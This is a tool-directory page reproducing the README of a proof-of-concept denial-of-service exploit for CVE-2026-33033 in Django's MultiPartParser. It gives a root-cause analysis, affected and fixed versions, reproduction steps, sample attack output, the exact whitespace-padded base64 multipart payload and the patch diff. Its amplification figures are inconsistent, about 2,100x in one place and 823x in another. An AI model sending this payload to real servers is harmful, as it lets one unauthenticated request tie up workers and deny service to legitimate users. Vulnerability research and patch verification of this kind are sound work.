Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-33033-PoC — Proof-of-concept exploit for CVE-2026-33033, a denial-of-service vulnerability in Django's MultiPartParser via base64 whitespace CPU amplification, demonstrating ~800x amplification with a single HTTP request. | Kitploit
Tools/GitHubGitHub/ch4n3-yoon/cve-2026-33033-poc
Vulnerability AnalysisExploitationWeb SecurityPenetration Testing
GitHubch4n3-yoon/cve-2026-33033-poc

CVE-2026-33033-PoC

Proof-of-concept exploit for CVE-2026-33033, a denial-of-service vulnerability in Django's MultiPartParser via base64 whitespace CPU amplification, demonstrating ~800x amplification with a single HTTP request.

View Repository
2115 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-33033 PoC

Denial-of-service via base64 whitespace CPU amplification in Django MultiPartParser

A single 2.5 MB HTTP request can tie up a Django worker for ~5 seconds, achieving ~2,100x CPU amplification over a normal request of the same size. No authentication is required.

Affected Versions

This vulnerability was fixed in the Django 6.0.4 security release (April 7, 2026), along with backports to all supported branches.

BranchAffectedFixed
Django 6.0.x<= 6.0.36.0.4
Django 5.2.x<= 5.2.115.2.12
Django 5.1.x<= 5.1.x5.1.16
Django 5.0.x<= 5.0.145.0.15
Django 4.2.x<= 4.2.284.2.29

Official Description

CVE-2026-33033: Potential denial-of-service vulnerability in MultiPartParser via base64-encoded file upload (Severity: Moderate)

When using django.http.multipartparser.MultiPartParser, multipart uploads with Content-Transfer-Encoding: base64 that include excessive whitespace may trigger repeated memory copying, potentially degrading performance.

— Django 6.0.4 release notes

Other security issues fixed in Django 6.0.4

CVESeverityDescription
CVE-2026-3902LowASGI header spoofing via underscore/hyphen conflation
CVE-2026-4277LowPrivilege abuse in GenericInlineModelAdmin
CVE-2026-4292LowPrivilege abuse in ModelAdmin.list_editable
CVE-2026-33034LowASGI memory upload limit bypass via missing Content-Length

Vulnerability Summary

Django's MultiPartParser has a special code path for handling file parts with Content-Transfer-Encoding: base64. After stripping whitespace from each chunk, if the result is not aligned to a multiple of 4 bytes, a while-loop calls field_stream.read(1) to fetch additional bytes one at a time.

When the file body is almost entirely whitespace, each fetched byte strips to nothing, so the loop continues — calling read(1) once per whitespace byte. The critical insight is that each read(1) is far more expensive than it appears:

Three amplification layers

root@kitploit:~
Layer 1:  base64 alignment loop calls read(1) per whitespace byte
              |
Layer 2:  LazyStream.read(1) fetches entire leftover (~64 KB), slices 1 byte,
          ungets ~64 KB - 1 back  -->  O(C) byte copy per call
              |
Layer 3:  unget() does  self._leftover = bytes + self._leftover
          creating a new bytes object each time  -->  memcpy of ~C bytes

Per 64 KB chunk, the copy work forms an arithmetic series:

root@kitploit:~
Total = (C-1) + (C-2) + ... + 1 = C(C-1)/2 ~ 2.15 billion byte operations

For a 2.5 MB input (~40 chunks): ~86 billion bytes of memcpy work from a single HTTP request.

Existing protection bypass

Django includes _update_unget_history() which raises SuspiciousMultipartForm if the same byte count is ungotten 40+ times in 50 operations. However, in this attack the unget sizes are monotonically decreasing (65535, 65534, 65533, ...), so every size is unique and the check never triggers.

Pre-view trigger

CSRF middleware accesses request.POST before any view runs, so even endpoints returning 403 incur the full parsing cost.

Repository Structure

root@kitploit:~
CVE-2026-33033-PoC/
├── README.md           # This file
├── LICENSE
├── requirements.txt    # Python dependencies
├── exploit.py          # Exploit script
└── victim/             # Vulnerable Django server
    ├── manage.py
    ├── uwsgi.ini       # uWSGI deployment config
    └── victim/
        ├── __init__.py
        ├── settings.py  # Django defaults (no special config needed)
        ├── urls.py      # /upload and /health endpoints
        └── wsgi.py

Reproduction Steps

1. Clone and setup

root@kitploit:~
git clone https://github.com/ch4n3-yoon/CVE-2026-33033-PoC.git
cd CVE-2026-33033-PoC

python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt

2. Start the victim server

Option A: Django development server (quickest)

root@kitploit:~
cd victim
python manage.py runserver 0.0.0.0:8000

Option B: uWSGI (more realistic — uses 4 workers)

root@kitploit:~
cd victim
uwsgi --ini uwsgi.ini

3. Run the exploit

In a separate terminal:

root@kitploit:~
source venv/bin/activate
python exploit.py --target http://127.0.0.1:8000/upload

Options:

FlagDefaultDescription
--targethttp://127.0.0.1:8000/uploadTarget upload endpoint
--size2621440 (2.5 MB)Payload size in bytes
--rounds3Number of attack rounds

4. Expected output

root@kitploit:~
============================================================
CVE-2026-33033 PoC
Denial-of-service via base64 whitespace CPU amplification
in Django MultiPartParser
============================================================

Target:       http://127.0.0.1:8000/upload
Payload size: 2,621,440 bytes (2.5 MB)
Rounds:       3

[*] Checking server health...
[+] Server is up.

------------------------------------------------------------
[*] Phase 1: Sending BENIGN request (normal base64 data)
------------------------------------------------------------
    Status: 200
    Time:   5.55 ms

------------------------------------------------------------
[*] Phase 2: Sending MALICIOUS requests (base64 + whitespace)
------------------------------------------------------------

  Round 1/3:
    Status: 200
    Time:   4571.12 ms
  ...

============================================================
RESULTS
============================================================
  Benign request:          5.55 ms
  Attack average:       4571.12 ms  (over 3 rounds)
  Amplification:            823x

[!] VULNERABLE: Average attack time exceeds 1 second.
    A single 2.5 MB request ties up a worker for ~4.6s.
    With 4 workers, just 4 concurrent requests can DoS the server.

How the Exploit Works

The exploit constructs a multipart/form-data POST body with a single file part:

root@kitploit:~
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----CVE2026-33033
Content-Length: 2621552

------CVE2026-33033
Content-Disposition: form-data; name="file"; filename="poc.bin"
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64

AAA<2,621,433 spaces>A
------CVE2026-33033--
  1. The leading AAA makes stripped_chunk = b"AAA" (3 bytes), so remaining = 3 % 4 = 3.
  2. The while-loop calls field_stream.read(1) to fetch 1 more byte for alignment.
  3. Each space byte strips to nothing (b"".join(b" ".split()) == b""), keeping remaining = 3.
  4. The loop continues for every whitespace byte in the stream.
  5. Each LazyStream.read(1) internally copies ~64 KB via the unget mechanism.

Vulnerable Code

django/http/multipartparser.py, lines 302-325 (Django 5.0.x):

root@kitploit:~
for chunk in field_stream:
    if transfer_encoding == "base64":
        stripped_chunk = b"".join(chunk.split())

        remaining = len(stripped_chunk) % 4
        while remaining != 0:
            over_chunk = field_stream.read(4 - remaining)   # <-- read(1)
            if not over_chunk:
                break
            stripped_chunk += b"".join(over_chunk.split())   # strips to empty
            remaining = len(stripped_chunk) % 4               # stays at 3

Patch

The fix (applied in Django 6.0.4 / 5.2.12 / 5.1.16 / 5.0.15 / 4.2.29) replaces the per-byte read(1) loop with a bulk read(self._chunk_size):

root@kitploit:~
-                                stripped_chunk = b"".join(chunk.split())
+                                stripped_parts = [b"".join(chunk.split())]
+                                stripped_length = len(stripped_parts[0])

-                                remaining = len(stripped_chunk) % 4
-                                while remaining != 0:
-                                    over_chunk = field_stream.read(4 - remaining)
+                                while stripped_length % 4 != 0:
+                                    over_chunk = field_stream.read(self._chunk_size)
                                     if not over_chunk:
                                         break
-                                    stripped_chunk += b"".join(over_chunk.split())
-                                    remaining = len(stripped_chunk) % 4
+                                    over_stripped = b"".join(over_chunk.split())
+                                    stripped_parts.append(over_stripped)
+                                    stripped_length += len(over_stripped)
+
+                                stripped_chunk = b"".join(stripped_parts)

Key changes:

  1. read(4 - remaining) → read(self._chunk_size) — reads 64 KB at a time instead of 1-3 bytes, reducing read calls from ~2.5 million to ~40.
  2. stripped_chunk += ... → stripped_parts.append(...) + final b"".join() — avoids potential quadratic bytes concatenation.
  3. len(stripped_chunk) % 4 → stripped_length counter — avoids redundant length recalculation.

Disclaimer

This proof-of-concept is provided for educational and authorized security testing purposes only. Use it responsibly and only against systems you own or have explicit permission to test.

License

Apache License 2.0 — see LICENSE.

Download Tool